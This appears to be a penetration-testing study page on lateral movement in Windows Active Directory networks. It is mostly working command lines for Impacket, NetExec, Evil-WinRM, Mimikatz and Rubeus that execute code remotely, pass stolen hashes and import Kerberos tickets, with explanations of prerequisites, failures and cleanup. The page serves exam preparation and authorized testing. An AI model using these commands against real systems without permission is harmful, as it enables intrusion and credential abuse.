Lateral Movement

← Stage index | Identity transitions | Pivoting | AD cheatsheet | Strategy map | Study methods: Move to another host

Selection rule: credential type → accepted authentication protocol → reachable service → service-specific authorization → execution/session effect.

Exit: verify the destination hostname, represented identity, token/rights and network state; then re-enumerate credentials, domain relationships, sessions and routes.

1. Choose by credential and service

2. Preflight from the actual source

Directly routed source:

Copynmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u

Windows source:

CopyResolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status

Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.

Record:

CopySOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT

3. Validate authentication separately from execution

NetExec can classify a selected SMB credential:

Copy# Domain password
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'

# Domain NT hash
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH

# Target-local account
nxc smb TARGET -u Administrator -H NT_HASH --local-auth

# Prove only share access
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

A successful login proves SMB authentication. (Pwn3d!) is NetExec's SMB administrative-context indicator, not proof that WinRM, RDP, WMI or every SMB execution method will succeed.

For one justified execution proof:

Copynxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec

Current NetExec can select wmiexec, atexec or smbexec; without an explicit method it may fail over between them. Use a forced method when diagnosing prerequisites so the result remains attributable.

4. SMB and service-control execution

Impacket PsExec

Copy# Password
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'

# NT hash / Pass-the-Hash
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Need: SMB 445/139, writable administrative share and Service Control Manager rights. Impacket uploads a RemCom service binary, creates/starts a service and communicates over named pipes. Verify the returned identity; the service context is commonly SYSTEM.

Kerberos cache:

Copyexport KRB5CCNAME="$PWD/USER.ccache"
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

The target parameter uses the hostname matching the CIFS/HOST SPN; -target-ip separates connection routing from Kerberos naming.

Sysinternals PsExec from Windows

CopyPsExec64.exe -accepteula \\TARGET_HOST -u DOMAIN\USER -p PASSWORD cmd.exe

The official PsExec binary is not built into Windows. It requires remote administrative access and creates the PSEXESVC service/artifacts. Avoid putting real passwords in retained shell history; an existing authorized network credential context is preferable.

SMBExec

Copyimpacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

SMBExec creates temporary services whose command lines redirect output through a share. It does not use the same uploaded RemCom binary as PsExec, but it still requires SCM/service rights and produces substantial service/event artifacts.

Copyexport KRB5CCNAME="$PWD/USER.ccache"
impacket-smbexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

# SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
impacket-smbexec -mode SHARE -share C$ 'DOMAIN/USER:PASSWORD@TARGET'

ATExec

Copyimpacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

ATExec creates and deletes a scheduled task and normally retrieves output from ADMIN$\Temp. It is a one-shot command mechanism, not an interactive shell; task-scheduler RPC and administrative share access must both work.

Kerberos:

Copyexport KRB5CCNAME="$PWD/USER.ccache"
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

5. WMI and DCOM execution

Impacket WMIExec

Copyimpacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

WMIExec creates processes through WMI/DCOM. Its normal output channel uses SMB and defaults to ADMIN$; therefore a WMI process may run even when output retrieval fails. -nooutput or -silentcommand changes that evidence channel.

Kerberos with separate name and route:

Copyexport KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

Copyimpacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"

Native PowerShell CIM over DCOM

Copy$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
  CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}

Remove-CimSession $Session

ReturnValue = 0 and a process ID confirm process creation, not its final effect. WMI-created processes run in session 0; GUI programs will not appear on an interactive desktop.

DCOM MMC method

Current Windows token:

Copy$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
  'cmd.exe',
  $null,
  '/c hostname > C:\Windows\Temp\movement-proof.txt',
  '7'
)

Impacket with password or NT hash:

Copyimpacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Current Impacket dcomexec explicitly rejects Kerberos for its supported MMC/Shell DCOM objects because they do not accept the required HOST ticket. Use wmiexec -k when Kerberos command execution is required. DCOM class availability, RPC reachability and launch/access permissions vary.

6. WinRM, WinRS and PowerShell remoting

Evil-WinRM

Copy# Password; omit -p to prompt where supported
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'

# NT hash
evil-winrm -i TARGET_HOST -u USER -H NT_HASH

# HTTPS listener
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986

Current Evil-WinRM ticket-file support:

Copyevil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP

Need: reachable 5985/5986, an enabled WinRM/PowerShell endpoint and endpoint authorization. The identity is commonly an administrator or a member of the applicable remote-management group, but endpoint SDDL/policy is decisive. Kerberos requires the FQDN/SPN, realm/KDC configuration and a compatible ticket.

Native WinRS

Copywinrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"

To avoid retaining a password on the command line, use the current authorized Windows credential context where possible:

Copywinrs /r:TARGET_HOST "cmd /c hostname & whoami"

WinRS uses WinRM. A non-administrator can require /noprofile depending on endpoint configuration. /allowdelegate affects onward credential use and is not a default fix for the double-hop problem.

PowerShell remoting

CopyTest-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'

Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock {
  hostname
  whoami /all
}

$Session = New-PSSession -ComputerName TARGET_HOST -Credential $Credential
Enter-PSSession -Session $Session

A hostname normally supports Negotiate/Kerberos in a domain. An IP address requires explicit credentials and generally HTTPS or a tightly scoped TrustedHosts configuration. Do not weaken global TrustedHosts merely to hide DNS/SPN mistakes.

7. RDP

Check the installed binary name:

Copycommand -v xfreerdp3 || command -v xfreerdp

Password:

Copyxfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard

Older packages may expose the same syntax through xfreerdp.

NT hash:

Copyxfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution

FreeRDP's /pth uses Restricted Admin mode. The target must support/permit that mode and the identity must be an administrator; ordinary Remote Desktop Users membership is not sufficient for Restricted Admin. Password-based RDP instead needs the Remote Desktop service, NLA compatibility and the effective “Allow log on through Remote Desktop Services” right without a deny override.

Native client:

Copymstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST

Ordinary RDP can place reusable user credentials in the destination's LSASS. Restricted Admin avoids sending those reusable credentials but prevents ordinary onward access as that user; treat the resulting session's network identity separately.

8. Pass-the-Hash, Overpass-the-Hash and Pass-the-Ticket

Pass-the-Hash

CopyNT HASH -> NTLM CHALLENGE/RESPONSE -> TARGET SERVICE

PtH requires an NTLM-capable service, a valid account context and the service-specific right. SMB share access may work without administrative execution; PsExec/WMIExec/SMBExec usually need administrative rights. Remote UAC commonly filters non-built-in local administrators. Domain accounts in the target Administrators group traditionally receive a full remote token, but newer Administrator Protection policy can change that result—trust the observed target token and method-specific authorization.

Overpass-the-Hash / key-to-ticket

Mimikatz network-credential context:

Copysekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe

Rubeus TGT request:

CopyRubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

AES alternative:

CopyRubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt

Trigger a Kerberos service request with the hostname, then inspect:

Copydir \\TARGET_HOST\C$
klist

In a Mimikatz sekurlsa::pth process, whoami can still show the original local process token while network authentication uses the supplied identity. Validate the ticket's client and the remote result rather than treating local whoami as the network identity.

Pass-the-Ticket

Windows:

CopyRubeus.exe ptt /ticket:ticket.kirbi
klist

Copykerberos::ptt ticket.kirbi

Linux:

Copyexport KRB5CCNAME="$PWD/ticket.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

A TGS must name the selected service/hostname. A TGT can request a suitable TGS only while valid and when the KDC is reachable. Ticket import is not lateral movement until the destination accepts it and produces the intended authorized effect.

9. Local versus domain identity and remote UAC

CopyDOMAIN\USER  -> domain identity; evaluate target-local group/right
TARGET\USER  -> SAM identity on that target
./USER        -> tool-specific local-account selection

Common failure pattern:

1. a local account authenticates over SMB;
2. Windows issues a filtered remote token;
3. ADMIN$, SCM or WMI administrative operations fail.

Do not “fix” this by changing LocalAccountTokenFilterPolicy during an attack workflow. Use a method already permitted by the target's configuration, the built-in Administrator where legitimately obtained and applicable, RDP if authorized, or another mapped identity.

10. Output channels, session 0 and double hop

Remote process creation, stdout retrieval and an interactive shell are separate states:

CopyAUTHENTICATED
-> REMOTE OPERATION AUTHORIZED
-> PROCESS/TASK/SERVICE CREATED
-> COMMAND EFFECT OCCURRED
-> OUTPUT RETURNED OR CALLBACK CONNECTED
-> USABLE SESSION

• PsExec returns named-pipe I/O through its service.
• WMIExec normally redirects output to an SMB share.
• SMBExec redirects command output while repeatedly creating services.
• ATExec writes output under ADMIN$\Temp.
• Native WMI/DCOM may return only a PID/return value; verify a harmless file or another bounded effect.
• WMI/DCOM/service processes commonly run in session 0, so a GUI is not visible to the logged-on user.
• WinRM creates a remote shell/runspace and returns structured or text output.

A WinRM/PowerShell session on HOST_A may not possess delegable credentials for HOST_B. That “double hop” is a credential-context problem, not proof that HOST_B or the password is wrong. Prefer executing from the source that actually holds the credential/ticket rather than enabling broad delegation.

11. Failure router

12. After movement

Copyhostname
whoami /all
ipconfig /all
route print
netstat -ano
klist

Re-enumerate:

1. local privilege and accessible credential sources;
2. domain groups, ACLs, shares and host rights under the new identity;
3. logged-on sessions and service accounts;
4. interfaces, routes, DNS, listeners and internal reachability;
5. the next evidence-backed host/identity transition.

Do not overwrite the earlier state. Record the source host, credential form, authentication protocol, execution method, returned identity and side effects.

Tooling for this section

Package names vary: current Kali-style Impacket commands commonly use the impacket- prefix, and FreeRDP 3 packages may expose xfreerdp3 while older packages use xfreerdp. Inspect local -h output before use.

winexe — Samba-side service execution alternative

Use when the chosen account has working SMB authentication and effective remote service-control/administrative rights. This is a service-execution transport, not a credential bypass.

Copy# Prompts for the accepted identity's password
winexe -U 'DOMAIN/USER' //TARGET 'cmd.exe /c whoami'

Read: verify the returned identity and destination. Access denied after a successful login points to authorization/UAC/service-control conditions; it does not justify guessing more passwords. Service creation and resulting artifacts require the same cleanup discipline as the other SMB execution methods. Prefer the existing supported Impacket/NetExec method when this legacy client is unavailable or incompatible.

Sources: upstream 1.

Sources

• Supplied PEN-200, Chapter 24 pp786–804 for WMI/CIM, WinRS/WinRM, PsExec, PtH, Overpass-the-Hash, Pass-the-Ticket and DCOM.
• OffSec OSCP+ Body of Knowledge
• Impacket psexec, smbexec, wmiexec, atexec and dcomexec
• NetExec command execution and local authentication
• Microsoft WinRS, PowerShell remoting, CIM DCOM options
• Microsoft remote UAC behavior, Administrator Protection and Remote Credential Guard/Restricted Admin
• Evil-WinRM and FreeRDP command-line source
• getSH Active Directory route, source snapshot e1f62dd
• Hexdump Active Directory module and consolidated cheatsheet. The live AD module remains a TODO; only its concise RDP/SMB cues were used and independently checked.